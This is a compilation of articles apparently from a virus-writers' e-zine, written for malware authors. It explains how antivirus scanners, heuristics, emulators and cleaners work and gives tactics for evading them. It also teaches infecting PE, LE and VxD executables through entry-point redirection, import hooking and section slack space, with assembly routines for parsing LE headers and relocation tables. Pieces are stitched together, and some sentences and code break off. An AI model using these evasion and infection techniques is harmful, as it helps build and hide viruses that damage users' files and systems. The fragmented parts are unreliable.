scanning algorithm is something like this: CRC all macros and check in database. Look at macros you found
and if they describes whole variant virii is identified exact. If something is missing and I think it is enough:
possible virus. You can see even now the legacy of those old good days. Many variants are differ just in one
tab or space after end of macro. CRC rulez... Suddenly polymorphic ones came to the light of world and
CRC became not very efficient. Became not but it is very comfortable to just run some program on your
collection and to have signatures. The simplies way you can see is just to modify CRC algorithm. In those
days polymorphism was when name of variable changes or something like that, so why not to skip
whitespaces or variable names. And this is probably the final solution. So called smart-crc. Because of
structure of VBA you can afford to skip variable names (and it is even more comfortable - who will search for
it in tables). The structure of code is stored in code. It is enough to check the structure. You can easily see
that macro is doing something like ? = ? + ?. And this is enough. With this technique you can identify at least
90% of current virii. Finally if you want polymorphism you NEED to change the structure of code. For
example swap lines or add garbage code. And automatic AV technologies will be smashed to do ground.
The next and very old way are scanstrings. It is easy to implement scanstring like scanner for macros. This
may be exact because you can follow either structure of code or names. For example you may be looking
for:
ToolsMacro .Name = something with .Edit
These are two very easy to implement but efficient in use methods.
There is reference to AUTOMACRO in code (or macro itself is auto) (so it is clever to build macro name
from substrings not containing whole macro name)
There are common commands and constructions like ActiveWorkbook.Modules and so on (try to avoid
very common constructions or use Set to substitute a part of command that is a bit hard to simulate)
Bevare of construction like ...VirusProtection=0 (at least don't use value after command, it may be more
visible for heuristics)
Because structure of VBA is a bit more complex it is hard to simulate it. In fact all heuristics i know about are
passive (it means they are just searching for something) and i don't know about any big advantages in more
complex analysis. In fact simulate whole macro is difficult task - try to write whole VBA... I have heard
someone emulates variables, but i don't believe it. And i am almost sure there is no full emulator of vba. So
something like this
a$="tomacro"
b$="au"
c$=b$+a$
is hardly ever suspicious for scanners. And I can't imagin that this can be suspicious:
....
a$=""
b$=""
10 c$=b$+a$
if c$<>"" goto 20
a$="tomacro"
b$="au"
goto 10
20 ....
Of course this is silly example, but i like to point that without code following emulation it is useless to have
emulation of variables. And you may use as many jumps as you want or even functions, cycles or something
even more evil. If you want to make day of aver harder just assign variables way that they can't be simulated
from top to down. It means use goto to turn back with new values and heuristics will have to be much more
complicated.
The main reason of heurisics is, as I already mentioned, to detect unkown viruses as many viruses appears
every month and it becomes difficult to keep track of them. First it was introduces by F-Prot (well, some kind
of, a bit hard to say if we can call it heuristic) and first real implemantation in well-known TBAV.
At first, we should define what heuristics exactly is, I try it by my own: heuristic scanner is a program (anti-
virus, more exaclty) that is able to detect viruses by analyzis of their code - what they do. But to decide if the
given code is a virus or not isn't easy even if it can look like it is - it is difficult to made it reliable. If you have a
look on viruses, the code they use, if you have a look on many many viruses, like avers did, you can easily
tell the things that are common for all the viruses. This are the beginings of heuristics - F-Prot used
something that was called in av-community "heuristics scan-strings". A short scan strings, searched in whole
body, of these typical constructions: like write command which is typicaly mov ah, 40h; mov cx, 1234h (size)
; int 21h. This is of course only illustration, this can be done in many ways, but not that much to have most of
them factorized (using wild-card scan-stings). If several of these scan-strings are found, you can say there is
probably a virus. But many regular programs written in assembler looks this way and not to have false
possitives it is required to hit many of these strings to report a possible virus infection.
Some avers trusted to f-prot's reports of possible viruses, but presented form wasn't quite reliable and
moreover, it was not able to detect more comlpicated pieces as it was set-up-ed to low sensitivity.
To fix these disadvantages it is possible to partialy find out the values of registers by semi-emulating of piece
of code before key instruction (e.g. int 21). Only registers are emulated and memory access only for reading
(not to damage memory). This is used for example by active heuristic scanners to analyze code they can't
reach (we can call it local semi-emulation). In this stage doing mov/inc will not help, but doing rot-s or and-s
instead of comparing will sure fool this alorythms.
it usualy has low memory (depends on implementation, even dos memory can be rather low!),
i/o ports are not working - some very-very popular are emulated, but no more - because emulater can't
allow to emulated program to write to ports, it can't guess real life of connected devices i.e. playing with
some ports might cause emulator to loose track.
Also, even emulated ROM might be writeable (but don't try it, because it can be real memory-mirrored
ROM ;)
Most of interrupts are not functional or are functional only in limited way. Int 21 and int 13 are of course
emulated as much as possible - because it is way of detection, but less known functions on int 21
possibly will not work (as well as other interrupts)
Hardware interrupts are not functional. For some purpose the most usual - irq 0 (int 8) is possibly
emulated, but for sure not with same periodicity as in reality, because emulator is much-much slower
Thats also important - slow emulator is a very seriouse limit - users don't want to spend all their life by
scanning disk and thats why emulation is time-limited (or by time, or by number of emulated
instructions). For this reason emulation have to be aborted on timeout too (for this reason there is also
usualy some dynamical adjust of lenght of emulation - if a very suspicious actions are found, more
instructions are emulated).
But timeout must be there, because emulator is not 100% functional (can't be by its definition) any
many regular programs might crash or stay in infinite loop. And if it takes you really long to do real viral
actions, emulator will abort on timeout sonner than it noticed your activity. (don't perform actions
directly - no fast infection - that's not a feature, but a bug! wait a bit, be less deterministic)
There might be bugs in emulator - but most usual instructions are working for sure. You may try some
less usual and undocumented (like undocumented versions (aam), instructions not in matrix (sal and
others), etc) but many of them are cpu-dependant. Moreover it tooks few minutes for avers to
implement new instruction (if it is some easy one). Also you may test some memory wraps (over-
segment and global memory wraps might not work, if they are computing adress lineary, SIB clipping
might not be handled correctly), test if A20 mapping works.
Also we are all 32-bit now: you can use 32bit registers, 32bit access and 32bit access modes. There
may be sill bugs in 32bit opcodes, or they are not working at all
There are also loading limits - because whole file (imagine 500k) can't be loaded and emulated - tooks
too much time. Only a some part of file is loaded to memory and you can test it in some way. (like using
host data as crypt-values).
Enviroment is more-less static, interrupts are not really emulated (tooks too long to emulated whole
int21, loading from fat, etc): as int instruction is emulated - it returns values depending on inputs or
doesn't emulate at all (less important). Int chain is emulated (usualy) only if it is redirected - until it
reaches dos entry. You can check if your interrupts are really passed to dos and processed.
You can use some anti-trace tricks (all you sure know some), but good emulators can trace through
anti-trace envelopes of other programs, so it will possibly go even through such a tricks
Do the things less clearly, if your virus is clever enought not to be caught on very first executed exe-file,
you have to be undetectable by passive part of heuristics as well (searching for instructions)
... try to imagine other limitations - because all is done by emulating you can surely guess others:
emulation is slow, buggy, speed and size limited, and very incomplete.
Currently leading heuristic scanners are NOD/iCE32 and Dr.Web - both of them are using mentioned
technologies (with also mentioned limitations), but only for dos executables (how lucky). At the present time,
none of them has 32bit emulator (I mean not written in 32bit, but fully emulating 32bit) and thats why they
can't perform active heuristic for Windows executables (PE/LX), and viruses for windows are not that much
affected by their heuristics power. For 32bit Win executables they are using only passive part - i.e.
disassembly and searching for suspicious code constructions (typical viral sequences).
These two antiviruses has much less false possitives, as they need exact actions to judge the file as infected.
(but they uses anti-scan-strings as well, because there are always false posstives). But the most amazing
thing uppon them is quite detailed description they report for infected file (especialy by NOD) - they can find
out if virus infect boot as well as com/exe files, if it infects sys files, if it is resident, stealth, polymorphical, etc.
You can nicely see it on NOD/iCE in which the scan-strings can be turned of to use only a heurisics. The hit-
rates running heuristics-only are quite impressive.
Other heurisics scanners
There are of course some other heuristics scanners in the world, but less important. AVP has a kind of active
heurisics too, as it is part of generic decryption engine AVP has. But as AVP is the highest-standard antivirus
in the world and it has really lots of scanstrings, its heuristics can be set-up-ed for lower sensitivity which also
brings less false possitives. Heuristics is also less visible, because it reports unknown virus really rarely.
Simmilar situation is for Dr.Solomon's Toolkit (not Solomon's any more, of course). In our tests we modified
toolkit's viral databse not to have any scanstrings to test heuristics only. Result was as expected: less than
70% (slightly vary). You really don't need to affair of this heuristical engine, if you can beat those mentioned
above. Solomon added only some very easy one (like AVP) to have some less hitrate also on unknown
viruses. But Solomon's policy in scan-strings was to add anything, no matter if it is a virus - so they have a
biggest hitrates without any thinking of it (this is why I don't like it).
The worst heuristical scanner I know is AVG, time ago it has same weak point as Tbscan has, even more - it
shows emulation process (with optional step-by-step confirmation) and you can see code and registers - and
easily test the bugs in it :) It was showen only to impress audience, because it was really buggy and useless.
It was several times improoved, but without reasonable result - first versions were extremly slow and buggy.
Afterwards, they used new scanning/heuristical core (developed by someone else who joined their team)
which is a bit faster and better, but still pretty weak.
To finish a overview of others I have to mention NAI as well. But it is rather easy to accomplish, because NAI
has no own technology (or really very little - only some programmers that downgrade buyed technology by
putting it together with others). NAI buys anything that can be buyed, currently as far as I know they are
using engine of dr.solomon with roughly same capabilities as dr.solomon. May be they'll try to buy another
heuristical scanner... Who knows...
Heuristical cleaning
Now we are in second, more-less important chapter of this article. Heuristical cleaning was firstly presented
by TBAV, program named Tbclean. But at first we have to explain what heuristical cleaning is: a cleaning of
virus from file without knowing virus exactly, just by tracing it or more complex automated analyzis. But
heuristical cleaning is less important than scanning, because it is much more reliable and also much less
used. Moreover, the hitrate is analyzed in test-tables, not these high-tech features.
Tbclean performs it in most easy way. As TBAV was lack of emulator engine, Tbclean uses single-stepping
to trace program. You can surely guess it will not work in many cases. Of course - it crashes (whole
computer) on protective envelopes, and sometimes also on usual programs. But it sometimes works.
Principle was simple tracing virus, because virus when it does usual things, reconstructs host body and
passes control there. Idea is to allow reconstruction (but disallow instalation, if possible), and on jump to host
body make a snapshot of reconstructed file. Passing control back to host was detected by jumping (or ret or
whatever) to offset 100h (for com's), or far-jump (retf respectively) for exe files. Nearly every virus ends this
way. All is needed is to write image back to disk and work is done (it is verry simmilar to exe-unpackers with
tracing).
To prevent instalation, tbscan for example returns for GetDosVersion call version 2, that most of viruses
refuses. Simple and effective. But there were (are) also many other tricks. Some of them you may guess if
you want to write simmilar cleaner: prevent of some instructions (like cli, i/o ports, hard stack modifications,
filter interrupts (they are redirected not to be accidentaly infected - int21 for example usualy returns error
(carry set)). Big problem it to find out where to cut-down the file. File can be easily reconstructed, but cleaner
don't know where to cut it. There are several possibilities:
Cut it on entry point (sounds good, but will damage files if virus doesn't puts itself at the end). (tbclean
always do this - thats why it can't clean Commander Bomber for example)
Leave it as it is. (works almost everytime - but there is still inactive virus body, and some stupid
antiviruses still might detect it)
To guess virus infection type and virus size (much more complicated, only some of newer cleaners do
this)
Tbclean was first and really simple and buggy. It crashed very often, in many cases reconstructed file was
corrupted, and moreover - as it becomes pretty famouse there were tricks like in virus Varicella, that was
really executed whey it was cleaned by tbclean (this virus mades Franz Heldman really angry ;) But in these
days it is forgotten as well as whole TBAV.
Generic idea is same - to emulate virus to allow him reconstruct host file, and use retrieved infromation to
repair host. All is done in emulated virtual PC, with emulated disks. The simpliest way of disintection is to
save reconstructed file and to cut out virus. As there are several types of appending virus to file, it might
slightly differ on technology how to cut it out. Clever technology, if virus works fine in emulator, is to virtually
infect several virtual files (goats) to find out size of virus and where the virus is stored (by diffing with original
file). This way they may guess nearly exact the infection methods of virus. For combined boot/exe/com
viruses, as they are usualy installing itself to mbr, a virtual reboot is done to activate them in virtual pc after
they installs into virtual mbr. (oops, so virtually ;) After guessing the size and knowing where virus stores itself
in file, a real infected file might be run (virtually, again) to repair host, find out entry-point, and cut it using
informations retrieved before (if they are not available, some alchemy is done or virus body is left there).
This way it looks simply, but isn't. I guess heuristics scanning and heuristics cleaning is top high-tech
technology avers are using now (also reffer to my overview of antivirus methods). Even if the principles and
ideas are simple there is lots of things to be done to make virus work in virtual pc, so the complications you
might prepare for heuristics (cleaning especialy) might be awarded by your success. Good luck!
flush
Well, dear virus friends, this article may be a little bit unfriendly, but, our mag is an open forum. And besides,
we do not have CDA (now after couple of week i don't know what stands this for). The main goal of this
article is just to show our vx community, how easy can be our viruses removed, when necessary.
AV Companies
There is a shitload of viruses and virus strains around, and many of them are "In the wild". Estimated virus
count is about 20000+ and we also have more than 3500+ macroviruses. It is not likely any AV software can
succesfully detect all the viruses. Nor they can remove it all. But they are at least trying it.
A. Overwriting viruses
These viruses are basically uncleanable. No doubt. This category of viruses is lame. And lameness of this
virus type is also the reason, why the infected files cannot be cleaned to their original state. They can be
deleted, renamed, but the only way to restore infected files to their original state is the use of backup copies
(if they exist).
1. com
2. exe
3. bat
The virus simply creates file with the same name, but with extension having higher priority, containing
the copy of virus, or changes the file extension to one with lower priority and writes the viral into the file
with original name and extension. As the virus doesn't modify the infected file in any way, it is trivial to
remove the virus. The structure of the file can help to determine the original file extension. Any file,
starting with obvious 'MZ' or 'ZM' is handles as EXE file by the system, when having specific minimal
lenght. This limit seems to be 26 bytes.
Following code
db 'MZ'
db 21 dup ('A')
int 20h
exits without any problems, but when you replace second line with
db 22 dup ('A')
Thus, first remove the file with viral body. Then check the file structure and of the file with the same
name and rename it back to original extension. And bingo.
Main symptom one can see if lot of cross-linked files all around the disk drive. To "clean" this kind of
virus one need to link back the strating cluster of the file to the original. And do not forget to remove the
virus body from the harddisk.
For information considering FAT 32 take a look at great article A fool named FAT 32 by flush.
3. Com viruses
Basically, there are two types of COM viruses. The first type uses the "classic" way to receive the
controll. It writes to the beginning of the file jump to the virus body and saves the original bytes
somewhere in virus body.
JMP virus
E9 xx xx
virus:
Virus body
Original bytes
To remove virus of this kind, is necessary to locate in virus body original bytes form the file start and
restore the start of the file. Then the file is it was before infection (but still contains the viral body). Last
step in the process of removing virus is to cut the viral body. In most cases can be used as the best for
cutting the (xx xx)+3 position, where xx xx stands for the size of initial jump. In most typical case whole
body of the virus is removed. In some rare exceptions the file will contain some bytes of viral body.
Second approach is more complex. The virus body is written to the beginning of the file and the rest of
the file is just moved behind the virus body. On execution the virus moves the file to its "normal"
position and launches it.
Virus body
Program moved up
The solution of infection is very handy is this case. All the Averz have to do is to move the program to
the beginning of the file. Nothing less, nothing more.
As possible "D-fence" can be used combination of both infection methods above. But the removal still
will be very easy.
4. Exe viruses
Typically, exe infecting viruses appends the viral body to the end of the file and then virus modifies
EXE header in order to launch virus before the infected file.
EXE header
CS:IP
Program
Virus body
It is sure somewhere in the virus is stored at least original value of Exe_CS and Exe_IP, optionally also
Relo_SS and/or Relo_SP or even the whole original EXE header. Virus is removed in following steps.
At very beginning the Exe_CS and Exe_IP are located and their values are restored. Optionally are
restored also Relo_SS and Relo_SP. Then is necessary to compute values of size of the file in pages
and store this two words to offsets 2 and 4 in the header. Now it is possible to save restored file header
to the file. And last step is the cutting the file to its original size.
If the virus contains whole original header (as most of the steatlh viruses do) is the removal of the virus
easier as described above. All the cleaning is about is to locate the original header inside the virus and
save it to the offset 0 in the file. Then naturally Avers cut the virus body and .... Done !
Well, exe files, the above stuph was all about the DOS times. Now is the PE file the target. And
removing of virus infections here can be even easier. If the bad Aver is really lazy, all he need to do is
to skip the virus. In other words, he has to set original RVA entrypoint on the file. He doesn't need to
care with viral body or added section.
So dudes, in order to make their task harder, do some unusual operation with the saved bytes
necessary to hand over the code flow to the infected host.
5. Sys viruses
Device drivers are the rarest target for viruses. Since Dark Angel published his tutes, everyone can
infect *.sys files. The trick is simple as hell - it uses the feature of SYS philes - chaining of the SYS files.
All we need do infect a SYS file is to add the necessary code to the host and just change the first dword
of the file to point to the header of our new character device. So easy it is.
So is the cleaning. Very lazy Aver can assume something in the way there is always only once driver in
SYS file. The procedure of cleaning is then
They could also take a more optimised way: to transverse all the headers, till they found a last one.
This is beginning of the virus, so cleaning is easy then.
B2. Boot viruses
Boot virus occupies MBR of the hard disc or boot sector of the drive. In most typical case, the virus stores
"somewhere" on the infected media also the original, uninfected MBR or boot sector. To wipe boot virus is
very efficient to use the sector with stored MBR/boot sector and to restore its original location. Another
method is to use of some kind of generic MBR/boot sector, when original in not available. To try to fuck up
with the averz, all you have to do is not to allow a clean boot. Could be arranget with a little bit phantasy and
code ...
B3. Macroviruses
As for the macroviruses, there is a very simple workaround - all you have to do is to delete macros. Sure, this
is not the best solution, but quit reliable. You have no macros, viral as well as non viral. Non viral macros are
let's say casulities of the war.
C. Closing words
AVers due the increasing number of viruses doen't have time to clean all of them. But they are at least trying
- so do their job as much time costing as it will be not worth the money.
For the people (and this article is dedicated for them), which have no clue about the thing and for the full
coverage. PE (Portable Executable) is format of executable files of all newer Window$. In comparision with
now nearly extinct NE species brings PE some substantial advantages. The most important one is the 32-bit
FLAT model support. In this memory model the segments (as we know them from DOS or 16-bit protected
mode) practically did lost its sense. Every process has its own adress space, we do not need to solve the old
problem where to place some piece of code in order not to fuck up (overwrite) another proggy and so on.
Due to this feature, can every program decide on its own, with practically no limitations, where it will store
whatever it want. If the program wants to have at adress 0x1234567 some wierd string, it can expect the
string will be really there. therefore it is not necessary for the program to have relacationa table (but there are
some reasons why this table is linked to the program by default). As i mentioned before, segments in such a
mode doesn't have any special nor important reason. Program after the start has already set CS, DS, and
ES to the segments covering whole adress space (with 4GB size) and the program can access any desired
adress. Of course, if the system thinks it it doesn't have access to this adress (if there is something important
on this adress [this is not the case under W95 or W98] or there is nothing on this adress) attempt to access
such a adress could generate exception. Such exception could be of course intercepted and the lamer at the
keyboard will have no clue about it :-)... But this is far advanced for now...
As we want have the overview, how the adress space looks like, here it is:
Well, as a kick start it should be enough, let go to the PE itself. PE is format suspiciously similar to the COFF
formats used on the Unix systems. It consists of header and the data area which is directly mapped to the
adress space of the process. The headers itself are stored before start of code so if you want to find them
align address to 4kB and track back to find page starting with 'MZ'. Of course don't forget to set exception
handler for page fault.
EXE files are mapped staring at adress 0x400000. This starting adress is called ImageBase. It should be no
suprise the ImageBase can be set during linking process. When the file is loaded couple of things happens
(shit is none of them)
note: i don't guarantee the steps above are performed in given order ;-)
As for the DLL mapping this process is similar, but jump to the entry point is not " just jump" but AL holds
value which holds information whether
DLL_PROCESS_ATTACH = 1 library is mapped to a new process and should initialise its global data
DLL_THREAD_ATTACH = 2 some proces registred library again but data have been already inicialised
(DLL_PROCESS_ATTACH already performed)
DLL_THREAD_DETACH = 3 some thread freed library
DLL_PROCESS_DETACH = 0 process terminates, library is being unmapped and should terminate its
activity
note: most likely calling of library entry point could be disabled by some way
note: naturally, library doen't have own stack
Due compatibility reasons every PE file starts with MZ header, where at offset 0x3C is dword ptr to the PE
header.
File is divided in somethink like sectors (with variable size, by default 0x200 - FileAlignment) and file headers
(all together, not every one separated) and sections are aligned to that size. This creates some space for
storing the virus body (but under 4000 bytes) because on every section we can gain approx. 100h bytes and
in the PE files do not use have to much sections. This strategy is used by CIH.
As for the structure of the headers, i strongly recommend to see file WINNT.H File header has following
structure:
struct PE_FILE_HEADERS
{
DWORD magic; // = 0x00004550 ("PE\0\0")
_IMAGE_FILE_HEADER primary_header;
_IMAGE_OPTIONAL_HEADER optional_header;
_IMAGE_SECTION_HEADER section_headers[primary_header.NumberOfSections];
BYTE dummy[aligned to optional_header.FileAlignment];
};
_IMAGE_FILE_HEADER
Machine processor, on which the file is able to run I386 = 0x14c
NumberOfSections name says it all, for dummies number of the sections in program
_IMAGE_OPTIONAL_HEADER
SizeOfCode size of all pages alloceted for code
SizeOfInitializedData size of all pages allocated for data
AddressOfEntryPoint RVA adress of entry pointu (relative 2 ImageBase)
ImageBase starting on this adress all the sections are mapped
SectionAlignment alignment of the sections (I386=0x1000)
FileAlignment alignment of the file
SizeOfImage size in bytes including all headers, has 2 be multiple of object align
(allocated for code and data)
SizeOfHeaders size of headers (including all section headers)
CheckSum checksum - the same as in DOS - ignored
Subsystem this tells the OS wheather it is windowed or console aplication
DataDirectory this is a field belonging to the structure containing RVAs and sizes of some
important tables
PE code and data are divided to sections. Each section has its description in header. Main purpose of this is
to tell loader where in address space should be data stored, how big area should be allocated and what
attributes should be set for them. For example code section should start at 4000000h and should be read
only and executable. Special attribute for section is SHARED. If section is shared all instances of this
program has this sections common. It means if one of them modifies something in section all instances can
see it.
Some word of explanation to the RVA (RelativeVirtualAdress). All the complicated operations as e.g.
relocation etc... is are performed AFTER the file is mapped to the memory. If we add to the RVA value the
ImageBase, we get the pointer directly to the memory adress where the desired piece of information is
mapped. Without mapping the problem is much harder, cos we need to search through all the sections and
find the one RVA points to.
(VirtualAddress<RVA<VirtualAddress+SizeOfRawData)
As for the storage of the body, i saw till now 3 different strategies.
Common strategy is based on the extending the last section. In such a case is "conditio sinne qua non" -
basic condition the section should be writeable in the section attributes (Intel platform could check it). As for
the implementation of this method, it easy as it could only be, but for resident viruses we can got in to the
trouble.... Physical data in the section can be followed by uninitialized data, which can be changed by the
program. This means our fine piece of code may become fucked up. Therefore whole viral body should be
moved elsewhere.
Another method is to create new section in the file and copy virus body there. This approach has one major
disadvantage (which is nearly impossible to solve) - nonstandard section name could arise a suspiction of
something not very pleasant going on, not speaking of the situation header is to small for adding another
section. Contrary, advantage is we have our section just for us, nobody can overwrite the virus. As for the
implementation, trivial again in comparision with before mentioned method we have one aditional task - we
need to know, where last section ends.
One of the non-standart method is the one used by CIH virus. This is all about the using the free space in
sectors which are aligned to FileAlignment value (0x200 by default). This technique is very clever (invented
by some as Germans use to say "Klugscheisser") as we get bonus in some cases there is no increase in file
lenght plus the virus is harder to clean. This method will not be in the focus of this article as for the larges
viruses in not suitable.
Main disadvantage of the first two methods is the code runs in the last section. And if some emulator get
here, there are just and only 3 options left.
1. virus
2. packer
3. some anti-whatever envelope
But solution is up to you - probably best way would be to use CIH approach and place entry point in the first
sections.
2. we_need_to_be_first_on_the_draw
how to make our fine virus the supreme commander in the system
Most trivial solution is to modify AdressOfEntryPoint in the PE header to point to start of added (viral) code.
In plain words put there RVA of virus entry point. Nothing more nothing less.
More rafined methods are e.g. to hook some import (let's say CreateFileA or whatevever is on 100% callled
in every proggy) or even hook export in DLL's so every call to DLL goes through virus. This approach is not
trivial as complicated search in structures is required. Some of the options will be covered in next section.
Answer is GetModuleHandle and GetProcAdress. If we have pointers to this functions we can get pointer to
any function we want.
Both of this two API calls are exported from kernel32.dll. As i haven't seen any application not importing
something from this important system module we can perform test if the file we want to infect imports from
kernel32.dll.
Then we have to search in import table and look for this two functions. If we find them, the file is suitable
target for the infection.
Imports in PE file work that way they point to some dword and in this dword will be set address of imported
function. All the requests in the file for specific API function will look like
call dword ptr [dddd]
Advantage for us is there is no problem to hook function and at each call to this function do "something".
To the import table we will get throug DataDirectory (i think index 1). This should point to the array of
structures IMAGE_IMPORT_DESCRIPTOR. Last element of the array should have Characteristics set to 0.
Name is RVA pointer to the name of the module from which the import is performed. OriginalFirstThunk
points to array of type IMAGE_THUNK_DATA from which we can get the name of the function. Let's saz the
function has index i. Then pointer to function f in imports will be i-th element of the dword array, to which
FirstThunk points. Last element of the array of type IMAGE_THUNK_DATA is zero.
I recommend to see it all in HIEW and then in debugger search where the desired functions are.
//
// Import Format
//
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
typedef struct _IMAGE_THUNK_DATA {
union {
PBYTE ForwarderString;
PDWORD Function;
DWORD Ordinal;
PIMAGE_IMPORT_BY_NAME AddressOfData;
} u1;
} IMAGE_THUNK_DATA;
typedef IMAGE_THUNK_DATA * PIMAGE_THUNK_DATA;
#define IMAGE_ORDINAL_FLAG 0x80000000
#define IMAGE_SNAP_BY_ORDINAL(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG) != 0)
#define IMAGE_ORDINAL(Ordinal) (Ordinal & 0xffff)
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
PIMAGE_THUNK_DATA OriginalFirstThunk; // RVA to original unbound IAT
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
PIMAGE_THUNK_DATA FirstThunk; // RVA to IAT (if bound this IAT has actual
addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
As I mentioned before, there is no need to do all fixups while file is being infected. It is either possible to do it
after file is loaded. Just find old 'MZ' header and trace file structure. (What is nice, rva are almost valid
pointers so you need just to add base address and you can follow any structure). After you find first export to
Kernel32 use the same method to find start of kernel32 and then follow export table ...
As for the exports it's much easier, but i had no time for experiments and will let this problem open. If you
want know more, look for it in some PE doxes (RTFM).
I would like to point to the fact the article has been written more or less using just and only my memory (my
degenerated gray cell mass), has not been subject to verification and thus i can't guarantee any fact
presented here is true :))))))
If you are interested in the problem, you should see it again elsewhere, in some more reliable refference.
And finally, some warm closing words. If the fucking proggy doesn't work and you poor guy did check it all
over and over about 10 times, try to find that bug in the Windows loader.
Navrhar
In this article I will announce my aproach to infection of strange platforms as are Windows VxD or dos
DOS4GW. Both platforms are running under similar environment - in FLAT memory model both are extended
32-bit so this is the reason why I have dealed with both of them.
So let's start
In both cases we will infect host with small loader, that will load and execute main part of virii. This strategy is
nice because there is no code executed in last section and so on.
LE (as I will call LX too, because there are similar or even the same), is intel friendly, because it uses 4096
bytes long pages. Each section is aligned to page. This means, that in average case 2000 bytes in code
section is unused and free. Nice, isn't it :-). This wasting of space we will use to insert our short "loader" that
will load other stuff from end of file (if you want, it may be placed elsewhere, or you may groove last section -
i have a feeling that there may be debug info or other shit, so not so fast) and execute it. Because of flat
model and you never knows where will you be loaded, this piece of code must be self-relocating. Enough of
talking, go on.
VxD starts as regular dos-executable with pointer to next header at 3Ch (just like in PE). With DOS4GW it is
a bit difficult. DOS4GW starts with some stupid stub, that will load main LE/LX executable. I don't deal with
this too much, I just looked at some Dos4GW and wrote this part of code
now file_base should point to regular DOS 'MZ' exacutable with dword at 3ch set as it should have. So just
get start of LE header like this and check some formalities:
readfile 3ch 4 le_seek
; read le header
readfile le_seek 100h le_header
; check 4 signature
cmp word ptr le_header, 'EL'
jne nole
; check if pages are 4096 bytes long
cmp dword ptr le_header+28h, 1000h
jne nole
; ...
Now we have to understand some LE specific stuff. At first LE is fragmented to sections (similary like PE).
Sections are called Objects here. Objects are in header and there is usually not enough space to create your
own object. This code will compute offset of eax-th section descriptor:
; compute object descriptor offset in file (relative to file_base)
; eax - object num
getobjptr:
shl eax, 3
lea eax, [eax+2*eax-24] ; first object is num 1
add eax, dword ptr le_header+40h
add eax, leseek
ret
Object in file is (of course) not fragmented. It starts at objectr and ends at (objectr+pageen3z<<12-1)
The second new entity in LE are entries. This is some kind of exports in PE. This is how to assume offset of
eax-th entry: (objectr will point to start of entry).
; this will assume entry eax (read and write will be relative to this)
; assume entry eax - entry num
le_assume_entry:
; relative to header
mov edx, leseek
mov objectr, edx
; get entry offset in file
add eax, eax
lea eax, [eax+4*eax+1] ; * 10 + 1
add eax, dword ptr le_header[5ch]
; read entry descriptor
mov ecx, 10
lea edx, buffer
call rdfile
; get object num
movzx eax, word ptr buffer+1
; assume this object
call le_assume_object
; add relative entry offset
mov eax, dword ptr buffer+4
add objectr, eax
mov objoffset, eax
ret
And the last thing you need to know about are relocations. Because code may be stored anywhere between
0-4GB, each access to memory has to be relocated. (The only one exceptions are jumps which are relative
to itself). Because of this LE has very complex structure of relocation (much more complicated than PE).
Because of complex structure of relocations, many compilers are seting values to be relocated to 0.
If you really want to deal with this i will advise you to some documentation. But if you don't this is a fragment
of code that scans for relocation:
This is code i wrote to parse relocation table and to find some relocation that relocates eax: I wrote it so far
ago so i will be not trying to explan this - just see documentation (as far as i know there is no good
documentation :-( ).
; finds fixup for eax in fixup table that relocates eax
; sets fixupptr = ptr to entry in fixup table (relative to filestart)
; parses whole fixup table in order to find an entry and create relo map
; eax = pointer to find
find_fixup:
mov edi, eax
xor eax, eax
mov fixupptr, eax
mov fix32, al
mov fix_important, al
; allocate table for relos
mov eax, RELO_TABLE_SIZE/8
mod_call md_alloc
mov relo_map_ptr, eax
; make whole area unusable
push edi
mov edi, eax
xor eax, eax
dec eax
mov ecx, RELO_TABLE_SIZE/8/4
rep stosd
pop edi
; process relocation
lea esi, buffer
xor eax, eax
; get first byte
lodsw
mov ecx, eax
; test if single
test cl, 20h
jnz @@multiple1
lodsw
call set_eax
cmp eax, edi
sete fix_important
jmp @@not_multi
@@multiple1:
lodsb ; count
mov dl, al
@@not_multi:
; check for unknown relocation
mov eax, ecx
and ax, 0001100001111b
cmp ax, 7h
je @@type_78
cmp ax, 8h
je @@type_78
; marker 'unknown relocation'
; raise_x INF_FILE_FATAL
@@type_78:
; assume object is 8 bit
lodsb
; if important object store ptr and size
cmp fix_important, 1
jne @@no_important
mov fixupptr, esi
sub fixupptr, offset cs:buffer
mov eax, dword ptr [esp+4]
add fixupptr, eax
mov eax, objectr
add fixupptr, eax
xor eax, eax
test ch, 10h
setnz fix32
@@no_important:
lodsw
test ch, 10h ; check if 32-bit
jz @@fixed
lodsw
@@fixed:
test cl, 20h
jz @@nomultiple2
mov @@prefix, 66h
test cl, 10h
jz @@no_prefix_chg
; marker '32-bit repeated relo'
mov @@prefix, 90h
@@no_prefix_chg:
movzx ecx, dl
@@enz:
@@prefix db 66h, 0adh ; lodsw
call set_eax
loop @@enz
@@nomultiple2:
pop ecx eax
sub esi, offset cs:buffer
add eax, esi
jmp @@loop_this_page
@@just_done:
add edi, temp_base
; done
@@hardcopy_no_work:
pop ecx eax
inc eax
add temp_base, 1000h
dec ecx
jnz @@process_page
@@skip_this_object:
pop eax
inc eax
cmp eax, dword ptr [le_header+44h] ; cnt of objects
jbe @@loop_section
ret
set_eax:
push eax ebx
add eax, temp_base
shr eax, RELO_TABLE_BLOCK_SIZE
cmp eax, RELO_TABLE_UPPER_LIMIT
ja @@err
mov ebx, relo_map_ptr
btr dword ptr [ebx], eax
pop ebx eax
ret
@@err: ;marker 'RELO_TABLE_EXCEED'
pop ebx eax
ret
zero_out_block:
push eax ebx ecx
mov ebx, relo_map_ptr
shr eax, RELO_TABLE_BLOCK_SIZE
@@zero_out_next:
btr dword ptr [ebx], eax
inc eax
cmp eax, RELO_TABLE_UPPER_LIMIT
jae @@cln_exceed
sub ecx, (1 shl RELO_TABLE_BLOCK_SIZE)
jb @@zero_out_next
@@cln_exceed:
pop ecx ebx eax
ret
2. check if there is enough space in code section. i assume code section is section 1 (first section).
3. assume DDB entry - this is entry that describes VxD in Windows this contains pointer to control
dispatcher. This is a functions that handles various events, and this is how we get to turn. Pointer to
